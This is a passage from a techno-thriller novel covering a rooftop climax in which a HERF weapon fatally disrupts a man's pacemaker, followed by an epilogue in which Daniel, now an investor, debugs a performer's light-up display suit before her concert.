The top few buttons of the Russian's shirt hung open, revealing a thick tuft of black hair on his muscular chest. On top of that tuft rested an ornate Eastern Orthodox cross pendant.

Beneath it, the skin bore long, pale, purple-tinged scars running down his sternum and along the left pectoral. They were thick and raised and slightly striated, like earthworms crawling down his chest. Thin white branches extended from each straight fleshy line, indicating careful stitching. The scars were clearly surgical in origin.

And on the left side of his chest, under a straight pale scar just below the shoulder, the flesh was raised in the outline of a smooth round disc, about two inches across, implanted just beneath the skin.

A pacemaker.

Danny felt the blood rush from his face. Slowly, with eyes wide open, Danny turned his head to look at his HERF gun. His stomach lurched.

“Oh dear God, no...,” Danny said. He choked on his words, overwhelmed with nausea.

He brought his fist down on Sergey’s chest. “No!” he screamed, and raised his fist again. “No no no *no*!” he screamed, punctuated by blows to Sergey’s chest as he wailed futilely on motionless ribs. Eventually, his fist slowed and his arm weakened, and he brought

it to rest softly upon Sergey’s lifeless body. His head followed, curling downward to rest his forehead upon Sergey’s chest. “I’m sorry,” he said hoarsely. “I’m so, so sorry...”

From somewhere behind him, Danny heard laughter. It was harsh and malevolent, dry and dark. It was laughter dripping with condescension and schadenfreude, a chortling cackle of evil victory.

Still kneeling over Sergey’s body, Danny looked up with red, moist eyes and dry, tense throat, and turned around.

Behind him, only a few feet away, stood Ivan Zheleznov. His shoulders shook as he laughed at Danny. His mouth was spread wide in a horrid grin. In his hand, a small gun glinted in the helipad landing lights.

Danny, on his knees, watched the laughing Russian kingpin raise the firearm and point it at him. Unblinking, he saw the barrel aim between his eyes.

There was a deafening bang. It resounded across the rooftop, drowning out the beat of the helicopter and the cackling of the Russian beneath thick waves of liquid sound.

Ivan fell sideways.

As he dropped out of the way, the first thing Danny saw behind him, several yards away, was a small silver revolver with a short, squat barrel with a disproportionately large opening.

It was held by Eugene Mukhayev.

The athletic man stood on the small ramp leading up to the helipad surface, halfway doubled over and unsteady on his feet. His face was pale, his mouth was twisted in unnatural shapes, his eyes darted uncontrollably in their sockets. His entire body quivered and vibrated in sickening waves. The revolver shook in his hand.

Ivan lay on the smooth concrete, bleeding from the leg. He turned to face Eugene, and fired off a handful of shots from his glinting handgun.

Eugene grunted and twitched as the bullets hit his armored body, but remained standing. He took aim with his small silver revolver.

Ivan tried desperately to scramble to his feet. He succeeded only in a rapid half-crawl away from Eugene.

Eugene's revolver let out another boom, then another. Round after round shot out from the silver firearm. The revolver's silver cylinder rotated and locked. Chambers aligned one by one with the barrel. The hammer drew back and sprang forward. Fire spat forth from the large black opening.

But his hand was shaking too violently to aim at a moving target. The shots chipped away concrete near Ivan, but none managed to hit him.

Out of bullets, Eugene charged forward.

Ivan limped in panic, trying to flee. His bleeding leg left a crimson trail across the helipad's surface.

He made it to the corner of the helipad before Eugene slammed into him. Running at full sprint, the athletic man checked his shoulder into the small of the limping kingpin's back. With his momentum, he knocked him over the edge of the squat landing platform.

Together, they both tumbled to the asphalt surface of the roof. They landed next to the stone balustrade that ringed the top of the building.

As Ivan continued trying to crawl away, Eugene grabbed him by his three-piece suit and threw him against the waist-high concrete rails.

The two of them wrestled against the balusters. Eugene fought not only against the aging kingpin but also against his own body, which misinterpreted the commands of his mind into spastic, sloppy motions. His neurons misfired and short-circuited like frayed electrical wires, sending his muscles twitching and twisting against his will. Eugene's extensive martial skills failed him, as his malfunctioning brain proved incapable of translating his thoughts into coherent action.

Ivan, wounded and bleeding, pulled himself up on Eugene's armor. He lacked Eugene's strength and training, but the old kingpin was a twisty, writhing thing, and he resisted Eugene's attempts to grapple him. In his hand he still wielded the glinting gun; he tried repeatedly to put it to Eugene's head.

With Herculean exertion and mental focus, Eugene managed to overcome the waves of convulsions long enough to get an arm around Ivan's neck, trapping him in a headlock.

The aging kingpin writhed and bucked, but couldn't slip out of the hold. He pushed and kicked with his legs, trying to make Eugene stumble.

Eugene stabilized himself by pushing his back against the waist-high balustrade. With his arm around Ivan's neck, he grabbed his own elbow with his opposite hand and squeezed.

Ivan, weakening, brought his glinting handgun up over his head and pressed the muzzle against Eugene's temple.

With Ivan's neck still in his arms and the stone balustrade behind him, knowing that a shot from Ivan's gun was imminent, Eugene leaned backward. Eugene and Ivan both tipped over the rim of the roof of the Medina Gallante.

Danny raced toward the point from where they fell. He hurried past the helicopter, whose blades had slowed to a smooth, silent rotation; inside, the pilot sat low in his seat, trying desperately to call for help on his nonfunctional radio. Danny hopped down from the helipad onto the asphalt rooftop and dashed to the balustrade nearby, streaked with blood.

A dozen stories beneath him, past rows of hotel windows and the dark green thicket of the surrounding pine canopy, Ivan Zheleznov and Eugene Mukhayev lay motionless upon the stone tiles of a wide pavilion. A dark crimson pool slowly spread outward. Their bodies, broken and lifeless, remained locked in battle.

A crowd began to form around them — hotel guests, staff, and a growing number of police. Danny ducked away when he noticed that they were looking upward.

Several soft thumping noises in the distance alerted him to look around. In the sky, above the speckles of light dotting the suburban skyline, several helicopters closed in on the Medina Gallante. In the calm waters of Lake Washington, patrol boats approached the hotel's wharf. From the ground below, the sound of sirens and chatter of radios could be heard even on the rooftop.

He noticed the voices of his comrades in the Bluetooth. "Danny! Danny!" Mike hollered. "Can you hear us?"

“Yeah,” Danny said, and calmly rounded the perimeter of the helipad to go retrieve his energy rifle.

“The place is swarming with cops!” Mike alerted. “They’re all over the building!”

“Yeah, I know,” said Danny with a detached air. “Don’t worry, Mike. I’ll be fine. They’re all talking on radios.” He checked the lights on the HERF gun. It had enough charge left for a dozen more shots.

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WITH THE WATCHFUL EYES OF HIS TEAM and a few well-timed HERF pulses, Danny managed to stay out of sight of the throngs of police combing the Gallante. After two or three harrowing close calls, Danny was able to slip out of the building unnoticed.

The battery in his cellphone gave out shortly after he left the hotel. In silence and moonlit darkness, Danny cut through the evergreen-fringed backyards of Medina billionaires. He carefully looked out for security cameras and motion-detecting floodlights, avoiding them where possible and zapping them where not. After slow, tentative progress across private property, he felt he had put a comfortable distance between himself and the hotel. He climbed over a retaining wall and arrived at a major road running through downtown Bellevue. The road was well-lit with streetlamps and bordered by a generous sidewalk.

There, he pulled off the mud-crusts, blood-stained overalls, leaving himself in a t-shirt and jeans. He stuffed the overalls down a gutter grate.

Then he figured out which direction along the road led toward the Kirkland Marina, slung his HERF gun back over his shoulder, and began walking.

And he walked.

And walked.

He had no idea how much time had passed. He wore no watch, and his dead cellphone wouldn't tell him the hour. Cars zoomed by in both directions along the suburban road, paying him no mind. He walked past gas stations, past strip malls, past houses and apartment buildings, past busy highway overpasses and ghostly-quiet four-way intersections whose stoplight signals changed color for nobody.

Danny heard the hum of a small engine approaching from behind. He ignored it at first, as he had with the dozens of other cars that had driven past him. But when he heard the engine slowing down, he turned around.

He saw a sporty yellow motorcycle.

Roger pulled up beside Danny, and met his gaze through the visor of his helmet.

"Hey genius," said Roger. "You're going the wrong way."

"My cellphone's dead," Danny mumbled. "I have no GPS."

IN THE CABIN OF JASON'S YACHT, Rosie and Moshen sat next to one another on the wide leather bench by the highly lacquered table. They had cleared out a space amongst the laptops and electronics, and filled it with markers and pencils and blank pieces of paper from Jason's *Dungeons & Dragons* kit. Moshen kept the young girl distracted by flipping through the illustrated rulebooks and teaching her how to draw pictures of dragons, orcs, and fairies, of knights and priests and wizards.

The table was littered with loose pages of such images. Rosie's pictures were stylized and cartoonish, but showed a distinct eye for movement and action. They all portrayed violent moments of fierce combat. Each of her scenes featured a mighty, barrel-chested knight. In one, he was single-handedly slaying an army of orcs. In another, he was rescuing a princess trapped in a tower. In a third, he was hanging from the claw of a soaring dragon. The knight wore dark armor and carried a large rectangular shield.

On the screen behind them, the conference call had stayed active. Mike, Natalie, and Tina remained telepresent.

All eyes, both physical and digital, turned towards the cabin stairs as Danny, Roger, and Jason descended from the deck.

Rosie, seeing them climbing down the steps, erupted in a joyous, expectant smile. Once the three men descended, her smile lingered briefly, then sank into a perplexed frown.

“Where’s my Dad?” she asked nervously.

Danny’s face went pale.

She stared into his eyes. “Where’s my Dad!?” she repeated with fierce insistence.

Silent seconds drifted by. The child’s face slowly melted into a grimace of agonized horror. “*Where’s my Dad?*” she screamed, knowing the answer.

Danny tried to say something, but only stammered. The young girl stifled tears with a wet gulp. She sprang from her seat, pushed past Danny, and bolted up the steps. Danny watched her helplessly, his mouth agape.

Jason clasped a hand on Danny’s shoulder and said, “I’ve raised children of my own,” before briskly ascending the steep cabin stairway after her.

Danny’s eyes, wide with heartbroken delirium, drifted to each of his comrades in turn. “You... You didn’t tell her...?” he asked them all.

The cabin responded with silence. On the deck above, the child’s hysterical sobs shattered the night.

“What’s going to happen to her,” Danny asked, his stomach lurching.

Several more moments of silence passed. Tina finally broke it. “She has no other family. We asked her while waiting for you. She has nowhere to go.”

“Sergey was adamant that she doesn’t end up in foster care,” said Danny, his head spinning. “You remember, right? In my bedroom? He said a girl her age would never...”

“I remember, Danny,” Tina replied.

“Sergey told her to listen to me. That I’d protect her,” Danny leaned heavily against the wood-paneled cabin wall. “He told me to take care of her. Those were his last words.”

Tina gently began, “Danny, you didn’t...”

He cut her off. “*Because of me*, those were his last words.”

Natalie intervened. “Danny, listen to me. It’s natural to feel guilty over something like this. Possibly even indebted. But, Danny, you couldn’t have known. What happened wasn’t your fault. Feelings of remorse are unnecessary right now.”

He listened to the child’s cries on the moonlit deck above. He replied to Natalie, “What *should* I be feeling right now, then?”

Natalie responded, “How about, proud of yourself for simply getting out alive?”

Danny emitted a hollow, humorless, sorrowful chuckle. “The things I choose to perceive as meriting pride are pretty arbitrary, don’t you think?”

The sobbing outside began to soften. Jason's voice could be heard offering soothing, indistinct words.

Danny looked at Tina's screen, and locked eyes with her image. "Remember what we talked about back in the Rite Aid, Tina?"

Tina nodded. "Of course I do, Danny. You talked about how you believed you had an unclaimed destiny of greatness. How you're supposed to create something amazing that would shape the whole world. Something like that, yes?"

Danny smiled warmly. "Exactly. But... my own greatness isn't really *about* me, is it? It never has been. That's the whole point..."

Small, light footsteps descended behind him. Rosie had broken away from Jason above. With tears still streaming down her cheeks and sobs still racking her shoulders, she ran to Danny and buried her face against his shirt.

He instinctively reached out to hug her, and stroked her hair as her whimpers tapered to silence. "I *do* want to create something amazing," he said as he wiped the child's tears away on the cloth of his shirt. "I *do* want to shape the world. Maybe this is how."

Epilogue

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31

SEATTLE'S DOWNTOWN SKYLINE GLINTED brightly in the warm sunlight of a clear summer day. Tall buildings rose above the shoreline, their windows shimmering with reflections of surf and sky. They towered above parks where children and dogs played; above markets raucous with bustling tourists and busking musicians; above sparkling blue waters teeming with yachts and freighters. The ribbon of urban expanse ran between Elliott Bay on one side and Lake Washington on the other. The blue Olympic Mountains crowned the western horizon, the gray Cascades and the enormous sleeping volcano of Mount Rainier lined the east. Tucked amidst majesty of geological proportions, the man-made spires jutted upward from low-lying gray urban periphery like immense gemstones from rock — the obsidian shard of the Columbia Tower, the waterfall mesa of sandstone and sapphire at 1201 Third, the bizarre white alien stalagmite of the Space Needle. Seattle wasn't merely adorned with jewels; she was made of them. She was the Emerald City.

“Now, I know what you’re thinking,” said the throaty, energetic voice of a young man freshly in his twenties. “The nutrient requirements for a eukaryote are way too complex to maintain in a consumer device. Fortunately, we don’t need the organism to survive the manufacturing process. Each cell only lives long enough to differentiate and then grow its respective components — photoemission tubes, conductor channels, phosphor beads, whatever. The cell creates these structures out of semi-rigid nonliving materials like keratin and lignin. They remain intact even after the cell dies. Like wood, or coral.”

On an upper floor of a soaring corporate tower, at the end of a long marble-floored lobby, there stood a pair of wide glass double doors. Frosted upon their surface were the words, “Tuttle Investment Partners.”

In the Tuttle office’s anteroom, beside the reception desk, stood a museum-like pedestal lined with red felt. Upon it, the ramshackle HERF gun prototype, built out of PVC and held together by Velcro and karabiners, sat inside a glass case, like some kind of curious historical artifact from a by-gone era. Which it was.

Video display monitors, barely thicker than paper, hung from the ceiling of the reception area. The monitors showed proud videos of Tuttle projects. One presented a focused young woman carefully measuring the electrical current flowing through an organic-looking fractal assembly. One displayed an aging paraplegic playing the piano with a hand built of polymer and silicon. One had a Navy admiral demonstrating an unmanned aquatic scouting robot darting through the water with a dolphin-like tail.

And another displayed a title screen announcing, “Tuttle Investment Partners is a proud sponsor of the Mukhayev Memorial Foundation.” Talking heads gave closed-captioned testimonials about overcoming drug addiction.

A woman’s voice spoke. It was mature and confident, well-educated and self-assured. “I’m noticing that your photoemission tube is remarkably similar to the ommatidium of an insect eye. In fact, if I’m not mistaken, are those supposed to be pigment cells at the top?”

“They are!” the young man announced. “You’re absolutely right: we based our pixels on a compound eye design. We figured, if an insect eye can *receive* directional light rays, just run it in reverse and you can use the same structure to *project* them. Think of an insect’s eye as a sampling device for one spatial point in a 5D light field, right? Lay them out on a 2D grid and use them as phototransmitters, and what do you get? A lenticular display that renders a full three-dimensional image autostereoscopically from any point in a 120-degree viewing cone. And *that* is the whole point of this project! What we’re proposing is a standard free-viewing 3D 12K television screen — but it’s one that’s *grown in a vat* rather than assembled in a factory. And, now, naturally, we can’t get very far without venture capital — that is, obviously, why we’re here — but we’re hoping that Tuttle Investment Partners can see the potential of this proposal.”

The woman’s voice said, “So, I understand why you’re working with eukaryotes. You need these cells to differentiate into some extremely complex, precisely positioned structures. But this is one hell of a chimera you’re proposing. Your

progenitor organism is a species of algae, right? A diatom? And you're talking about taking that diatom and throwing in genes from ferns, from fungi, from at least three or four different phyla of animal. Now, obviously, you know that natural genomes — especially eukaryotic ones — have evolved extensive mechanisms to protect themselves against exogenous DNA. And you're not only talking about having them express a protein or two, but actually exhibit entirely new morphologies. Isn't that going to be, you know... hard?"

"Well, we're not really doing anything that hasn't been done before," the young man assured. "The differentiation and expression processes can be reliably controlled through pretty standard cellular multiplexing techniques. I mean, you're right — we're porting entire anabolic pathways. But we're basing our work on some solid precedents..."

The speaker stood in a small corporate conference room just beyond the reception hall. Behind him, a large presentation screen displayed a rotating protein structure. He was tall and charismatic, and brimmed with infectious excitement as he discussed his work.

His partner, a slightly older student with a heavy-set body and a shy demeanor, stood quietly on the opposite side of the screen.

"See, we found an excellent research paper," the charismatic presenter continued. "It was from about twelve, thirteen years ago, something like that. Co-authored by researchers named Passinsky and Yen. We can forward it to you if you like."

The woman chuckled. "That won't be necessary."

The heavy-set partner slapped his palm against his forehead.

The young man persisted, "It's pretty old by now, but it's really an interesting read. Apparently they were part of the benzoylecgonine project at Tungsten Medical Technologies..."

The heavy-set partner stepped toward the young man and quickly whispered something into his ear.

The presenter's eyes went wide and his cheeks reddened with embarrassment.

The woman said bemusedly, "I am quite familiar with the research of Tungsten Medical Technologies."

The voice belonged to Tina. She sat at a small conference table, watching the presentation and taking notes. She wore a crisp, conservative business dress. The march of time had chiseled the contours of her face into a firm visage of competence and confidence, smart and strong and feminine. She radiated a kind of mature beauty only expressed in those who have rightfully earned it.

The presenter, still fumbling from the revelation just whispered to him by his heavy-set partner, said with awe, "You're the 'T. Giordano' who...?"

"...Who submitted the Tungsten papers for posthumous publication, yes," Tina said with a smirk.

As the young man stammered uncomfortably, Tina turned to her side and said jokingly, “Looks like this guy doesn’t know his audience too well. That’s a critical presentation failure, isn’t it? What do you think, Dan? Is that a deal-breaker?”

Daniel sat at the table beside her, wearing a timeless gray business suit. The color of his clothes matched the tone of his hair, which had receded high above his forehead to form a salt-and-pepper crown. The hair he had lost from the top of his head, he made up for with a neatly trimmed beard, dark with flecks of silver around his chin.

“Eh. I say cut him some slack,” he said, the creases at the corners of his mouth and eyes deepening as he smiled. “I remember giving a presentation to an investor group myself a long time ago, and I didn’t know that one of my audience members was affiliated with Tungsten Medical, either. Of course, back then, the term ‘cellular multiplexing’ meant something completely different.”

A device in Daniel’s hand suddenly buzzed with a gentle, quiet vibration. Daniel glanced down at the screen. A pop-up window bore the words, “`Rosie: 8 unread messages (22 unread total).`”

One side of the pop-up was dominated by a cropped square image of Rosie’s face. She used her glamour shot for her profile picture, which meant that every time she called or messaged, he saw her pressing her fingers erotically against her

glossy purple lips, looking sensuously upward with mascara-rimmed eyes below a mane of iridescent platinum hair. The image made him feel awfully awkward every time. He flicked the pop-up away.

“On a more serious note, though, I do have a few concerns,” Daniel said as he put the device back down. “For starters, then there’s the matter of heat buildup. You’ve got power-consuming, light-emitting elements packed within less than a micron of each other. By definition, they’re going to go through a hell of a lot of joules per second. Where do you think all that energy is going to go?”

The young man meekly said, “Um... out?”

Daniel chuckled. “Look, here’s what I know. I’ve been here for close to ten years now, and I still don’t know squat about the biology end of things. But I do know that your entire finished product is going to be made of carbon-based molecules. And you know what I do know about carbon-based molecules? They’re flammable.”

His device buzzed again. He peeked at the screen. “Rosie: 9 unread messages (23 unread total).”

He looked up at the two young hopeful bioengineers. Their faces were anxious and self-conscious.

“Gentlemen,” Daniel said apologetically. “I hate to be rude, but will you excuse me for a minute?” Without awaiting a response, he turned away in his chair and focused his attention on his device.

He maneuvered to the fresh pile of messages in his Inbox. The texts from Rosie weren’t at the top of his queue. Instead, he first had to flip through several messages that fell under a heading titled, “`HALF-CENTURY BIRTHDAY BLOWOUT!!!one!`”

Beside each message, the device displayed familiar faces.

“Dude! Your 50th birthday? We wouldn’t miss it for the world! Count us in 110%!” announced one message, beside a picture of Mike and Natalie. They’d been married for almost a decade. Their youngest child had just entered pre-school. Natalie had her own clinical practice. Mike worked as a network administrator for REI’s corporate offices. In their free time, they made costumes and crafts for the Washington Midsummer Renaissance Faire. They were ridiculously happy.

“Wow, 50!!!! I vaguely remember it. :) I’ve got venue, catering, and entertainment all lined up. It’ll be a gala! Don’t you worry about a thing, D. I’m taking care of everything. Get plenty of rest the night before. You’re going to need it, old man! Welcome to the other side of the hill!” The message was from Jason, whom Daniel hadn’t seen much of lately. Jason’s health was faltering — he

was fighting an aggressive case of pancreatic cancer. His oncology clinicians routinely programmed new strains of custom-built viruses to attack the cancerous cells, but the cells kept evolving new mutations to resist the virotherapy. Despite the arms race being waged within his bloodstream, Jason's spirits were quite high, and his friendship with Danny and the projects of Tuttle Investment Partners brought him fulfillment.

`"Daniel. It would be my pleasure to see you again, old friend," wrote Satish. "My wife and daughters have not seen America yet, and it was very kind and thoughtful of you to include them on the invitation. It's a long flight from Mumbai, but we'll make it happen."`

"Sure!" Moshen replied. `"See you there."` Moshen still made a decent living with his web design work. He couldn't rightly be thought of as a "kid" anymore; he was married now, and would soon probably have kids of his own. In his spare time, he penned a popular online comic. It was about kung fu.

`"Ok."` That was the entirety of the response from Roger. He was still a narcissistic dickhead, but he'd maintained a genuine friendship with Tina over the years, and had at times proven himself capable of surprising loyalty. He was now the age Daniel had been when they'd first met. He was working as the lead developer at a tech startup; his career had largely consisted of a long chain of short-lived dot-coms, each one getting outpaced by new technologies. He had a certain air of

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melancholy detachment, and in rare candid moments spoke about feeling obsolete and useless. Danny offered his own mentorship, but he knew that coming to terms with it was ultimately something Roger had to do for himself.

Finally, Danny found the litany of texts from Rosie.

`“Dan my suit isn’t working. Can you fix it?”`

`“Dan suit isn’t working. Please come fix it?”`

`“I’m supposed to be doing a dress rehearsal right now but my suit is broken!!! I can rehearse without it but I need it tonight.”`

`“FUCK DAN I’M IN DEEP SHIT. Since Sliced Bread watched me rehearsing and she’s all like ‘Where’s your suit?’ and I’m like, ‘It’ll be working by showtime I PINKIE-SWEAR! DAN PLEASE PLEASE HELP!”`

`“God Dan I’m starting to fraz here. HELP MEEEEEEEEEEEEEEEE!”`

`“It ons alright, but then it turds out this message
‘Segmentation Fault: NullPointerException in
IOBuffer::integrateFrame’ WTF?”`

`“Shit, I think I just made it worse...”`

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“DAN I CAN’T GO ON WITHOUT MY SUIT! DO YOU GET? I’M OPENING FOR SINCE SLICED BREAD! WHERE ARE YOU?”

“Hello...?”

Daniel sighed gently and put the device away. He looked back and forth at Tina and the young men. They had patiently waited for him to finish.

“I’m so sorry,” he said. “I have to go.”

Tina asked him, “Is everything alright?”

“Yeah,” he said. “Rosie’s just freaking out. Or ‘frazzing’ or whatever the hell the kids say today.”

“Her show isn’t until eight o’clock,” Tina said. “She wants you there right now?”

“Yeah,” Daniel replied.

“What for?”

“Tech support.” Daniel stood up and began walking out of the room.

The charismatic young man said, crestfallen, “Wait, so... Our organic autostereoscopic video system...”

“Yes?” Daniel said.

“You, uh, so... You don’t think it’ll work, do you?”

A shrewd smile crept onto Daniel’s face. “I didn’t say that, did I?”

Relief washed over the two young men. They exchanged enthusiastic looks.

“Listen,” said Daniel. “You kids have a lot of very, very hard work ahead of you. But Tuttle Investment Partners might be able to help you out.” He gave them a warm smile. “Let me forward you some work I did back in the ‘90s. My master’s thesis was on thermal dissipation in 3D VLSI design. If you don’t want your first prototype to explode in a ball of fire, I’d recommend giving it a good careful read.”

The two young men had complex expressions on their faces, showing equal parts happiness, excitement, and fear. “Thank you,” the presenter said to him.

Danny walked around the small conference table toward where Tina sat. “And as for you...” He leaned his head down toward hers, and the two of them exchanged a warm, loving kiss. “I’ll see you tonight at Rosie’s concert?”

“Hell yeah,” Tina answered. “I already talked to the babysitter — she’ll pick the kids up from school, and we’re good ‘til morning.”

“Perfect,” said Daniel. “I’ll meet you in the VIP booth.”

“What’s the name of the band she’s opening for?” Tina asked.

“‘Since Sliced Bread’,” Daniel replied.

The two bioengineers by the screen suddenly jumped with excitement. “Holy shit! You guys have a VIP booth at the Since Sliced Bread concert?”

Daniel shrugged. “Yeah. You two want to come?”

The young men’s eyes went wide. The presenter looked like he was about to choke. He nodded his head so rapidly that Daniel could practically hear the kid’s brain jostling.

“Heh. I take it they’re popular?” Daniel asked.

“‘Since Sliced Bread?’” the presenter said. “Jesus Christ! She’s, like... oh my God, she’s... she’s...”

“You mean ‘they’, right?”

“No, I mean ‘she’,” said the young man. “‘Since Sliced Bread’ is the performer. She’s a solo act.”

“‘‘Since Sliced Bread’ is a girl’s name now?’” Daniel asked.

“Yeah.”

Daniel shook his head. “Christ, I’m getting old.”

ROSIE GREETED HIM COMPLETELY NAKED at the door to her backstage dressing room, with the arm of a very muscular young man draped around her sculpted waist.

“Dan! Thank fucking Jesus!” she exclaimed, slowly emphasizing each word. She turned around, pivoting in place unthinkingly with perfect poise. She briskly padded barefoot across the disheveled room, moving effortlessly with a dancer’s grace.

Her beefy boy-toy watched her with rapture in his eyes. Daniel knew that look. He’d seen it on every gentleman-caller Rosie had ever brought home. Whoever this fellow was, he was already hopelessly, agonizingly in love with her. He’d never see her again.

“It’s over here!” she called from somewhere inside the cluttered chamber. Several young men and women puttered around, examining instruments and equipment. One lean geeky-looking guy sat in a chair in front of a clothing rack, looking intently at a tablet. Rosie looked down at him and shooed him with her hands, saying, “Ksssst! Scat!” The guy scurried out of the chair, leaving the tablet on the floor nearby.

Daniel took a few awkward steps inward, avoiding looking in her direction.

“Rosie, could you maybe put on a robe or something?”

Rosie flicked her hand manically at the clothes rack. “Just... just fix it! Please?”

The rack only held one garment. On a hanging scaffold, with arms outstretched and legs pulled straight, was Rosie's suit.

The outfit was a one-piece jumpsuit custom-fitted to conform to every inch of Rosie's supple flesh like a second skin. Like a scuba suit, it left only the head and hands exposed.

Unlike a scuba suit, it was completely transparent.

It was made from a material that felt to the touch like something between cellophane and polyester. A flexible column of gray opaque plates ran down the spine and across the shoulders; the plates bore various kinds of jacks for both data and power, as well as elaborate heatsink structures. At certain angles of light, the glint of microscopically thin metallic fibers could be seen shimmering outward from the gray spinal column and weaving through the clear material.

With a grunt, Daniel bent down to pick up the tablet dropped by the geeky young man whom Rosie had shooed away. The tablet displayed a tracelog file. Danny examined it for a few seconds, and his brow furrowed. "Hmm..."

He stepped up to the jumpsuit, reached toward its gray opaque spine, and pressed the power button.

From neck to toe, the material of the suit immediately turned solid black.

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Bars of color appeared down one thigh, indicating battery level, temperature, storage capacity, and CPU and memory utilization.

Blocky gray text began to materialize line by line across the suit's breast, distorted by the curvature of the display fabric.

```
RedRaven BIOS v8.2.006
VESA Omnibulus HyperGL
Processor: Phobion LXZ-8881 512GHz
Memory: 32T OK
INIT runlevel 4
Filesystem check.....[ OK ]
Starting system logger.....[ OK ]
Network initialization.....[ OK ]
Setting localhost.....[ OK ]
```

The text cascaded in gray sheets down the surface of the suit, warping and bending along the shape of the garment. When it hit the navel, it began scrolling.

After several moments, the text read: `"DisplaySuit diagnostic sequence. Stand by..."`

The text at the navel then suddenly spat out: `"Segmentation fault (core dumped)"`. The suit performed no further theatrics.

"See?" Rosie whined. She stood at a nearby closet, slipping into a bathrobe. "That's all it does! It gets to that, and then it just stops like a little bitch..."

Daniel raised a hand and motioned for her to calm down, and studied the tablet. After about twenty seconds, he let out a slight chuckle. “Well, duh,” he said, staring at stack trace listings and hexadecimal pointer values. “Here’s your problem...”

FIXING THE DISPLAYSUIT TOOK LONGER than Daniel had hoped. The device was a rejected military prototype for an invisibility suit, originally developed as part of a Tuttle Investments project in conjunction with DARPA, MITRE, Raytheon, and Lytro. There were only a dozen other working machines like it in the world. The project was ultimately scrapped; the display technology still had no hope of fooling the human eye. It would take more than a fancy fabric of lights to outwit a hundred million years of neurocortical evolution.

But human cognition and ingenuity were products of that very same evolutionary process. Humans like Daniel were quite clever beasts, and they were working on it.

And just because the device was worthless as an invisibility suit didn’t mean it couldn’t still be used for one trippy piece of performance art. Or whatever word the kids used instead of “trippy” nowadays.

The hours ticked by as Daniel worked, setting breakpoints and altering in-memory values. Rosie rehearsed in her bathrobe, and grew steadily more nerve-racked with each passing minute. Her hunky male groupie found himself being

desperately clung to one minute, only to be screamed at and cast away the next with no warning or provocation. Her bandmates, designers, and technicians scurried around her like a pit crew, doing everything in their power to ensure that she could operate at peak performance.

Daniel got the suit working about two hours before showtime.

Rosie began pulling it on before Daniel could even complete a power cycle. “God! Thank you, yes! You’re the best, Dan!” Daniel turned aside as she dropped her robe to the floor and began slipping her naked body into the transparent material.

“You know, Rosie, you’d be fine even without the suit,” Daniel said, facing away. “You’re incredibly talented. Your performance will stand on its own merits.”

“You’d think so, wouldn’t you?” she said bitterly. “But the truth is, talent is cheap. All ‘talent’ gets you is a job playing synth for the background music of an HBO miniseries. And in the meantime, there’s a thousand turdhole pop-groups that can’t hit two chords, that are booked solid for years on end.” She ran her hands up along her long, shapely legs to squeeze out pockets of air. “Talent alone gets you nowhere. It takes talent, and luck, and passion, and that still isn’t enough. I mean, fuck, Dan. I’m almost twenty-five. You know what the 27 Club is, right? Jimi Hendrix. Jim Morrison. Amy Winehouse. Kurt Cobain. Janis Choplin. Tricia Ferrel. A real performer is supposed to be dead at 27. Tupac died at 25. Biggie Smalls died when he was 24. Think about that. He’d already had his entire career,

started and finished, by the time he was 24. I'm 24, and where am I? Everything I've done up to now has been coffee houses and indie festivals. If I don't break out tonight, I'll wind up playing bar mitzvahs and high school reunions until the day I die. Which will probably be 27 anyway, because I'd rather just shoot myself and get it over with."

She rolled her shoulders to straighten the plates on her back. One of her lackeys zipped her up from behind.

"So, here I am," she continued, flexing her limbs inside the suit to smooth out any kinks and wrinkles. "I've got talent, and I've got passion, and I've got this unbelievable lucky break where Since Sliced Bread is letting me open for her tonight. So I have to ask myself, what else can I do? How can I push myself over the edge? What can I bring to the audience that nobody else in the industry, nobody else in the *world*, can give them?" She patted her sides to gesture towards the suit. "This. I can give them this. Yeah, it's just a gimmick, but fuck it. I'll take any advantage I can get."

The suit, now operational, responded to her movements with iridescent ripples that shimmered across her skin like waves upon an ocean of pure fluid energy. Flicks of her wrist and twitches of her ankles sent ribbons of light spinning like whirlwinds upon her body.

They moved to the stage to rehearse. With her crew in place, Rosie sauntered forward and waved to an imaginary audience. Shining upon her swaying form, swirls of ethereal color complemented her motions. She looked immaterial, transcendent, detached from physical reality, like a being that belonged to a different plane of existence — one purer, more celestial, more proximate to God.

DANIEL SAT BESIDE TINA in the VIP booth beside their two young guests, above a chattering crowd of tragically hip teenagers and twentysomethings slowly growing more inebriated. On the stage, Rosie's bandmates stood at the ready, tense and anxious. It was fifteen minutes past showtime.

Daniel's Scroll buzzed with an incoming message.

"Dan thank you sooooo much again for saving my ass with the suit," Rosie typed.

"No problem," he replied. "Glad I could help. Everybody out here is super excited for you! You should get out here already. :-)"

I feel like I'm going to hork.

I don't blame you. You're going to do great tonight.

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Everyone keeps telling me that lol. Thx,
I'll do my best.

I wasn't saying that to be encouraging,
Rosie. I was being sympathetic. You feel
like you're going to hork *because* you're
going to do great tonight.

What do you mean?

Rosie, you're a rock star. It's your
nature. It's what you are. It's what you
do.

Damn straight! :)

That's precisely why you're scared right
now. Because you're going to live up to
that nature. You know you will. You *are*
going to do great. And because you know in
your heart what that means.

I don't follow.

Think about it. If you were to do poorly
out here, it wouldn't really affect
anything for you. You'd continue
performing in obscurity, booking coffee
shops and indie festivals. Your life would

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go on as it's been, and this becomes just some random night when nothing noteworthy happened, and a successful music career will forever be simply some hypothetical alternate reality.

But I'm not going to do bad out there. I'm going to blow them away! :-)

Exactly. And that means everything changes. Everything. You'll no longer be the girl struggling to make it. You'll become the young woman that's making it. The person you are now, ends tonight. And that's pretty damn terrifying, isn't it?

You have no idea.

With all due respect young lady, I think I do. :-)

Alright, Oh Wise Ancient One. :-) So then what should I do about it?

What should you **do** about it??? EMBRACE IT! Rosie, you've got a house packed with adoring tattooed fans all dying to witness your magic. Get out here and make it happen!

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A minute passed with no reply. Suddenly, the lights cut out, and the crowd began to howl and cheer. The delicate chords of an intricate harmony began to echo from the lightless depths of the stage.

A glowing figure appeared, dancing through the darkness like an angel across the void of space. It looked not human, but something beyond humanity — an incarnation of ingenuity and sensuality, an embodiment of mind and spirit. She was a creature born of technology and biology, a unity between mankind's origin and destination wrapped in song and motion. She was a being for whom the worlds of the natural and the designed, the human and the divine, had no boundaries. For her, the limitless reaches of imagination would be manifest in physical reality.

